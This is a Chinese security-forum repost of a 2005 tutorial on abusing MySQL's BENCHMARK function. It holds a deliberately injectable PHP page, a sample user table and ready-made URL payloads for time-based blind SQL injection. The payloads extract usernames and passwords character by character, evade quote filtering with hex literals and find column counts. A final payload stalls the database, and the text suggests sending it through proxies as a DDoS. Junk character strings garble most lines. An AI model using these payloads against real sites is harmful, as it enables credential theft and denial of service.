中国网络渗透测试联盟
标题:
MYSQL中BENCHMARK函数的利用
[打印本页]
作者:
admin
时间:
2012-9-15 14:03
标题:
MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
- e% R8 X/ W8 [+ b. V
本文作者:SuperHei
6 Q! v( k. Z& P' U _( Y8 l
文章性质:原创
( z9 o2 [) q; p$ J5 }% m4 M
发布日期:2005-01-02
' F+ U9 ~3 r; Q+ @1 t! y
完成日期:2004-07-09
' Y$ E7 M! a k9 Z- j
第一部
) |- x/ N- M V, J6 E( r
( _6 Z: s7 G. Z/ v& {* o6 q
利用时间推延进行注射---BENCHMARK函数在注射中的利用
1 A3 x/ V# B8 t0 V, o. B
$ T( S+ Q0 q4 c0 m
一.前言/思路
/ d: T( s. u( r. C1 W# j
8 \/ W) e1 ?) N% {% e0 \4 ]( p
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
6 j* X) t8 i" S& U) X
: ]3 k; P0 o' h/ z
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
7 @) L9 e6 ]% S/ i% }5 `! `% ~( Z
1 m Q) \/ X" G3 u
二.关于BENCHMARK函数
+ C; j# F: C0 l6 Y
0 s: b. h( j" M4 ~
在MySQL参考手册里可以看到如下描叙:
3 V9 q# ]& Z' B: s. j! U: J/ Z/ i" Z
W3 x. d5 r* @# D* G
& o, L' D! [# {. k, [6 k. ]* F
--------------------------------------------------------------------------------
6 q9 {; R/ M" ]& D: K7 p+ f1 |
( V- M$ X3 B0 Q
BENCHMARK(count,expr)
: Y/ T3 r) F9 p, k5 h! a
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
+ o% D. {7 g% d7 ~, L5 }! y7 N m
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
8 W @& C' q8 m% {4 {; c# V
+----------------------------------------------+
2 E( l5 [0 N( @$ C* Y% C$ a
| BENCHMARK(1000000,encode("hello","goodbye")) |
* n0 U3 Q/ P6 ~4 E7 v( M; w
+----------------------------------------------+
" x; ~+ @9 v# l6 N4 v, z+ q9 @
| 0 |
# N- Z, Y7 X" V9 p! \' \
+----------------------------------------------+
4 h& c2 U, N0 h6 k. e5 V% o
1 row in set (4.74 sec)
- H, m& u5 u* y! B: R
/ H4 ]( [6 o @' o1 Y6 k
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
- F$ S5 ?/ d- P5 V
+ Z; `0 J! {/ p3 ^' c0 s( K+ z0 w# W* p
0 z8 a8 s% X) Z6 m* V) Y
--------------------------------------------------------------------------------
* v" w8 z" R2 E( h4 `. e
/ K8 p( l; g+ Z: i7 p( F$ p0 G* h
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
% E" G' |8 {9 ?$ w% S8 t6 p
5 F6 k3 Q# ]! m2 l+ k8 @# D" p) ~
mysql> select md5( 'test' );
2 m' v% B+ r% S( k0 g
+----------------------------------+
( N+ Y& L: w$ P6 d* {/ b% Q {& h" u+ y
| md5( 'test' ) |
# }* z E- x0 S3 J- S1 F
+----------------------------------+
6 M; k& _# O* j' \0 |, W) O7 D, }
| 098f6bcd4621d373cade4e832627b4f6 |
, \9 k0 ~6 F( [7 d8 {7 z
+----------------------------------+
8 @0 a, p4 b* @+ b6 T# f
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
$ [" ], Y' I/ ~& {) i
/ J. U# `; R/ n4 W2 K" \5 [& ~/ @$ B
mysql> select benchmark( 500000, md5( 'test' ) );
' F7 N8 z! J0 \7 F& e" [
+------------------------------------+
; a' G5 @# E8 r6 P0 P: c! ?
| benchmark( 500000, md5( 'test' ) ) |
: R- |" Q9 h9 ]! p5 o% `
+------------------------------------+
% `1 n0 W; x i5 Z# U: R
| 0 |
7 a0 q3 M P" }; }6 I, Z$ h
+------------------------------------+
& \: R1 o' F) s3 F, [* g/ g2 {+ @
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
' f: Y/ G: b8 k3 z Z8 X/ T6 A
; v; B1 y2 q. ]2 `. R2 f6 u5 ~
. A4 f7 ]0 f* a, M+ G
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
3 ?2 S6 U. x5 J8 g% ]$ ?+ F
9 M! Y: `! z$ \% M9 S# y
三.具体例子
1 @ n" Y; C C v
, }4 W2 X! Y" p: q* t
首先我们看个简单的php代码:
6 ^/ C3 J$ h8 y- c; R' I
% R" G- j+ M- {- S( @
< ?php
3 C# f- y# S& C
$servername = "localhost";
9 p- c Q2 S- h# B! p# Q
$dbusername = "root";
$ E+ m% v7 k- i5 o
$dbpassword = "";
/ d! n1 N' ~! B T! |6 ^# w
$dbname = "injection";
O4 m9 e4 j. E4 T* p
0 k/ L, B M# o# X3 o' k0 l: e
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
, E. {3 Q/ C6 ^8 O! `2 m6 B# q
3 u r& n/ Z: U0 L8 K
$sql = "SELECT * FROM article WHERE articleid=$id";
- Z/ v' ~/ k' `# q) s
$result = mysql_db_query($dbname,$sql);
6 ~ B$ l, F) _5 _2 r
$row = mysql_fetch_array($result);
- R- z: F8 O6 ]; V
9 u w% _5 L2 |, F3 E
if (!$row)
/ A% P5 g* g( [4 @7 h
{
5 l* }( }& a4 ? g
exit;
( V8 J1 p( t% Q2 |+ K) ]
}
/ W' [2 Y. t3 T, S* P5 C8 h& r
?>
) [9 {; e5 @, t! S
9 y) {' [+ i/ X, s: U) v( q
/ w- T# K% n0 |# u `! W
数据库injection结构和内容如下:
4 D8 m7 J3 F" G1 U+ n
1 |5 ]6 w2 m! A1 z2 h
# 数据库 : `injection`
4 x" S; ^$ ?/ E( c$ ^
#
W1 g1 h. ^% {8 `
" k: k# F0 P" V# q& v* r
# --------------------------------------------------------
( }# L/ G. F7 \4 q4 T4 A
" G( A1 v* r5 m' n& V
#
- _, q+ M3 F% b; |1 D/ @
# 表的结构 `article`
. c5 _( [( h/ X, g, V0 x, l+ Y
#
" A" }( Y4 P0 }. L- d k
( h6 b* |2 y% d: P X, u) [( r/ _6 N
CREATE TABLE `article` (
; _ x5 q' o2 t9 J7 {; B
`articleid` int(11) NOT NULL auto_increment,
% K! S& N6 X! e" s0 {4 g- @
`title` varchar(100) NOT NULL default '',
- ~- s% N; ]5 @, m
`content` text NOT NULL,
. o. ?* L" V9 l ~
PRIMARY KEY (`articleid`)
# t/ t @) B: X; Q$ P+ P
) TYPE=MyISAM AUTO_INCREMENT=3 ;
0 i& g$ @# `7 @7 V$ p, [
! f& U; _/ f2 [9 O/ W: v
#
& f! g; ^* T$ F7 b5 \$ {
# 导出表中的数据 `article`
( E K6 [- Y9 |- A6 L& v
#
7 m+ A# [& ^. ~7 ^! K8 M
2 @4 A- x* o- f6 M
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
; b! x. b0 f E% z0 j2 \1 u4 A
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
' O5 q( b. J: a4 `' N
g6 t& }% \8 ]8 S
# --------------------------------------------------------
9 t7 A8 u9 Z* _' K' d: a: R0 k
) E& g: d! \2 A
#
; Z2 `5 d9 f% a! L( i+ b
# 表的结构 `user`
$ C" Z2 P' f# P; m7 M
#
" g+ a( U+ P3 {0 @) J
9 E9 R0 L3 S/ X7 ~' b( |
CREATE TABLE `user` (
# f! J- w; d+ e2 b* Z0 q
`userid` int(11) NOT NULL auto_increment,
! s- F7 i7 O& S' a
`username` varchar(20) NOT NULL default '',
?9 ]) }2 B! n9 ~
`password` varchar(20) NOT NULL default '',
2 d& h* E/ v8 {% u1 { u# c" f8 o2 I
PRIMARY KEY (`userid`)
- A5 S8 I4 `+ S. z4 B ?
) TYPE=MyISAM AUTO_INCREMENT=3 ;
: L) w u# W# ]
( C" z, m; H5 I4 w: Y4 `: ^
#
( w. B% x; \2 k1 D* {# S2 f" s
# 导出表中的数据 `user`
}* a0 r n. k
#
, C* \" D. W) J% j! K- Y1 l& o
1 [" R, y) a' \3 |$ `
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
& y7 s$ B: Q& W# B/ H% U
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
5 c! {5 u1 f* w5 D: Z) }# p" O
/ ]) s+ E4 ?- U: C& [, D! K
+ y( _! r, G! P
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
* e1 v0 V M/ k8 `$ l/ L* @
. y* _1 g# W7 w6 s9 F2 W
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
G' U% m9 O9 j4 L# P# y+ t: z
" X$ E Y% \3 l: t) s
8 a# E7 o7 U) I- o
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
' o" ~. f' c& e$ k9 m6 ^
! ~5 o: |% y0 |. i9 L) b+ J1 S8 u
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
/ A! V" r, A% ?6 ~ w& `5 v0 t o) ?
4 U9 u) a1 e3 ^" j! B- W! n2 F( ~7 `$ r
- c& P8 }( G+ \4 O
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
! z d$ G) j3 H' T, i/ [% L
% Q+ H$ U- m1 Z& p
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
% C' T+ B+ j- ]
4 B7 v9 o) `! x5 S3 m! O4 c* H
第二部
% ~, }' @' N& N3 a0 Y& l* _
( i" }7 Q6 E/ _# G7 y+ Y! Z/ M; B4 O* N
利用BENCHMARK函数进行ddos攻击
( P9 y8 ~4 A; F& @! s3 f6 p8 T
; D) c @3 T% k( H" s
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
! ]$ |) _5 Z- s. m$ B# W
0 W0 }# P9 M) M; t! i* |+ k
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,1,benchmark(99999999,md5(0x41))
' O! J* _ L& @) }/ e0 K
6 g) E& s- ]( P+ d
" k; c9 A5 ?: C. g/ ^
小结
$ a+ t$ J" p1 d
$ C' F$ t2 `& s7 ~) O* \" Z7 W: B
本文主要思路来自
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
' p8 i( Q2 I0 I$ w" H M0 T
0 z3 l* P- D1 X4 j3 y# f4 F) g7 ^
3 l2 i' R* ^, O/ Z' n9 u. ]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2